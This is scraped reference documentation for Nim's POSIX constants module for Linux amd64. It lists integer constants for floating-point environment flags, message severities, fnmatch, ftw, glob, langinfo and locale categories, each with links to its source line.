[Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L146) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L146) ``` FE_UNDERFLOW = 16'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L147) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L147) ``` FE_ALL_EXCEPT = 61'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L148) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L148) ``` FE_DOWNWARD = 1024'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L149) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L149) ``` FE_TONEAREST = 0'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L150) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L150) ``` FE_TOWARDZERO = 3072'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L151) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L151) ``` FE_UPWARD = 2048'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L152) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L152) ``` FE_DFL_ENV = -1'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L153) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L153) ``` MM_HARD = 1'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L156) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L156) ``` MM_SOFT = 2'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L157) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L157) ``` MM_FIRM = 4'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L158) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L158) ``` MM_APPL = 8'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L159) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L159) ``` MM_UTIL = 16'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L160) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L160) ``` MM_OPSYS = 32'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L161) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L161) ``` MM_RECOVER = 64'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L162) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L162) ``` MM_NRECOV = 128'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L163) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L163) ``` MM_HALT = 1'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L164) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L164) ``` MM_ERROR = 2'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L165) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L165) ``` MM_WARNING = 3'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L166) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L166) ``` MM_INFO = 4'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L167) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L167) ``` MM_NOSEV = 0'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L168) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L168) ``` MM_PRINT = 256'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L169) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L169) ``` MM_CONSOLE = 512'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L170) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L170) ``` MM_OK = 0'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L171) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L171) ``` MM_NOTOK = -1'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L172) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L172) ``` MM_NOMSG = 1'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L173) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L173) ``` MM_NOCON = 4'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L174) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L174) ``` FNM_NOMATCH = 1'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L177) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L177) ``` FNM_PATHNAME = 1'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L178) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L178) ``` FNM_PERIOD = 4'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L179) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L179) ``` FNM_NOESCAPE = 2'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L180) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L180) ``` FNM_NOSYS = -1'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L181) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L181) ``` FTW_F = 0'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L184) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L184) ``` FTW_D = 1'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L185) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L185) ``` FTW_DNR = 2'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L186) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L186) ``` FTW_DP = 5'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L187) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L187) ``` FTW_NS = 3'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L188) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L188) ``` FTW_SL = 4'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L189) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L189) ``` FTW_SLN = 6'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L190) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L190) ``` FTW_PHYS = 1'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L191) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L191) ``` FTW_MOUNT = 2'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L192) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L192) ``` FTW_DEPTH = 8'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L193) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L193) ``` FTW_CHDIR = 4'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L194) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L194) ``` GLOB_APPEND = 32'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L197) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L197) ``` GLOB_DOOFFS = 8'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L198) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L198) ``` GLOB_ERR = 1'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L199) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L199) ``` GLOB_MARK = 2'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L200) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L200) ``` GLOB_NOCHECK = 16'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L201) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L201) ``` GLOB_NOESCAPE = 64'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L202) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L202) ``` GLOB_NOSORT = 4'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L203) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L203) ``` GLOB_ABORTED = 2'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L204) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L204) ``` GLOB_NOMATCH = 3'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L205) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L205) ``` GLOB_NOSPACE = 1'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L206) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L206) ``` GLOB_NOSYS = 4'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L207) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L207) ``` CODESET = 14'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L210) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L210) ``` D_T_FMT = 131112'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L211) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L211) ``` D_FMT = 131113'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L212) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L212) ``` T_FMT = 131114'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L213) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L213) ``` T_FMT_AMPM = 131115'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L214) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L214) ``` AM_STR = 131110'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L215) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L215) ``` PM_STR = 131111'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L216) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L216) ``` DAY_1 = 131079'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L217) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L217) ``` DAY_2 = 131080'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L218) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L218) ``` DAY_3 = 131081'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L219) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L219) ``` DAY_4 = 131082'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L220) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L220) ``` DAY_5 = 131083'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L221) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L221) ``` DAY_6 = 131084'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L222) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L222) ``` DAY_7 = 131085'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L223) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L223) ``` ABDAY_1 = 131072'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L224) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L224) ``` ABDAY_2 = 131073'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L225) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L225) ``` ABDAY_3 = 131074'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L226) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L226) ``` ABDAY_4 = 131075'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L227) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L227) ``` ABDAY_5 = 131076'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L228) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L228) ``` ABDAY_6 = 131077'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L229) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L229) ``` ABDAY_7 = 131078'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L230) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L230) ``` MON_1 = 131098'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L231) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L231) ``` MON_2 = 131099'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L232) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L232) ``` MON_3 = 131100'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L233) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L233) ``` MON_4 = 131101'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L234) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L234) ``` MON_5 = 131102'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L235) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L235) ``` MON_6 = 131103'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L236) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L236) ``` MON_7 = 131104'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L237) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L237) ``` MON_8 = 131105'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L238) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L238) ``` MON_9 = 131106'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L239) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L239) ``` MON_10 = 131107'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L240) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L240) ``` MON_11 = 131108'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L241) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L241) ``` MON_12 = 131109'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L242) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L242) ``` ABMON_1 = 131086'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L243) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L243) ``` ABMON_2 = 131087'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L244) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L244) ``` ABMON_3 = 131088'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L245) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L245) ``` ABMON_4 = 131089'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L246) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L246) ``` ABMON_5 = 131090'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L247) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L247) ``` ABMON_6 = 131091'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L248) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L248) ``` ABMON_7 = 131092'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L249) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L249) ``` ABMON_8 = 131093'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L250) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L250) ``` ABMON_9 = 131094'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L251) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L251) ``` ABMON_10 = 131095'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L252) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L252) ``` ABMON_11 = 131096'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L253) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L253) ``` ABMON_12 = 131097'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L254) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L254) ``` ERA = 131116'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L255) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L255) ``` ERA_D_FMT = 131118'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L256) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L256) ``` ERA_D_T_FMT = 131120'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L257) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L257) ``` ERA_T_FMT = 131121'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L258) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L258) ``` ALT_DIGITS = 131119'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L259) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L259) ``` RADIXCHAR = 65536'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L260) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L260) ``` THOUSEP = 65537'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L261) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L261) ``` YESEXPR = 327680'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L262) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L262) ``` NOEXPR = 327681'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L263) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L263) ``` CRNCYSTR = 262159'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L264) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L264) ``` LC_ALL = 6'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L267) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L267) ``` LC_COLLATE = 3'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L268) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L268) ``` LC_CTYPE = 0'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L269) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L269) ``` LC_MESSAGES = 5'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L270) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L270) ``` LC_MONETARY = 4'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L271) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L271) ``` LC_NUMERIC = 1'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L272) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L272) ``` LC_TIME = 2'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L273) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L273) ``` IPPORT_RESERVED = 1024'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L276) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L276) ``` HOST_NOT_FOUND = 1'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L277) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L277) ``` NO_DATA = 4'i32 ``` 